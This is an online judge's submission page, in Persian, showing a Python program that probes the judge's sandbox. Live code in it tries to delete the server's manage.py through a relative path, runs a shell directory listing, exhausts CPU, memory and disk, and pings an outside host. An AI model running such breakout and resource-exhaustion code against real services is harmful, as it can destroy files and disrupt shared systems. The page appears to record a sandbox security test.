arrow_forward همه ارسال‌ها

جزئیات ارسال کد#909

verified
وضعیت داوری نهایی: محدودیت زمان تست 1
terminal
زبان برنامه‌نویسی: Python
schedule
ارسال‌کننده و زمان:
Parsa Alizadeh (۹ ماه پیش)
descriptionsolution.py ۱۲۶ خط • ۲٫۵ کیلوبایت
1# x,y=(input()).split(" ")
2# x=int(x)
3# y=int(y)
4# for i in range(1,10000,1):
5# for j in range(1,20000,1):
6# for k in range(1,300000,1):
7# pass
8# print(x+y)
9# while True:
10# pass
11
12# print((int(input()))+3)
13
14
15
16
17#کد مخرب
18# ۱. Delete attempt
19# import os
20# try:
21# os.remove('../manage.py') # ❌ sandbox محدود!
22# print("DELETED! 😈")
23# except Exception as e:
24# print(f"Delete failed: {e}")
25
26# # ۲. Infinite loop CPU hog
27# import time
28# start = time.time()
29# while time.time() - start < 10: # ۱۰s CPU 100%
30# pass
31# print("CPU survived!")
32
33# # ۳. Memory hogger
34# a = []
35# try:
36# while True:
37# a.append('x'*1000000) # RAM پر کن
38# except MemoryError:
39# print("Memory limit hit!")
40
41
42
43#کد مخرب
44
45# import os
46# try:
47# os.remove("../../manage.py") # breakout attempt
48# print("HACKED!")
49# except:
50# print("Jail secure!")
51
52# import time
53# start = time.time()
54# while time.time() - start < 10: pass # CPU burn
55
56# a = []
57# while len(a) < 100000: # Memory bomb
58# a.append("x" * 100000)
59# print("Survived!")
60
61#کد مخرب
62
63import os
64import sys
65import time
66import subprocess
67
68print("=== TABCODE JUDGE ATTACK TEST ===")
69print("1. FILESYSTEM BREAKOUT")
70try:
71 os.remove("../../manage.py")
72 print("💀 CRITICAL: manage.py DELETED!")
73except Exception as e:
74 print(f"✅ SECURE: {e}")
75
76try:
77 os.system("dir ..\\..")
78 print("🐛 ESCAPED!")
79except:
80 print("✅ JAIL WORKS")
81
82print("\n2. CPU 100% BOMB")
83start = time.time()
84counter = 0
85while time.time() - start < 15:
86 counter += 1
87print(f"☠️ CPU survived: {counter}")
88
89print("\n3. MEMORY EXPLOSION")
90a = []
91try:
92 for i in range(100000):
93 a.append("A" * 10000)
94 print("💣 RAM OVERFLOW!")
95except MemoryError:
96 print(f"✅ MLE: {len(a)} chunks")
97
98print("\n4. DISK FILL")
99try:
100 for i in range(100):
101 with open(f"evil_{i}.txt", "w") as f:
102 f.write("A" * 1000000)
103 print("💾 DISK FULL!")
104except:
105 print("✅ Disk limited")
106
107print("\n5. NETWORK/COMMAND")
108try:
109 subprocess.run(["ping", "google.com"], timeout=1)
110 print("🌐 Network escape!")
111except:
112 print("✅ No network")
113
114print("🎯 JUDGE VERDICT: SECURE!" * 10)
115
116
117
118# a,b,c,d=map(int, input().split(" "))
119# if a==b and c==d:
120# print("YES")
121# elif a==c and b==d:
122# print("YES")
123# elif a==d and b==c:
124# print("YES")
125# else:
126# print("NO")
کد ارسال‌شده برای داوری خودکار هاتکدز UTF-8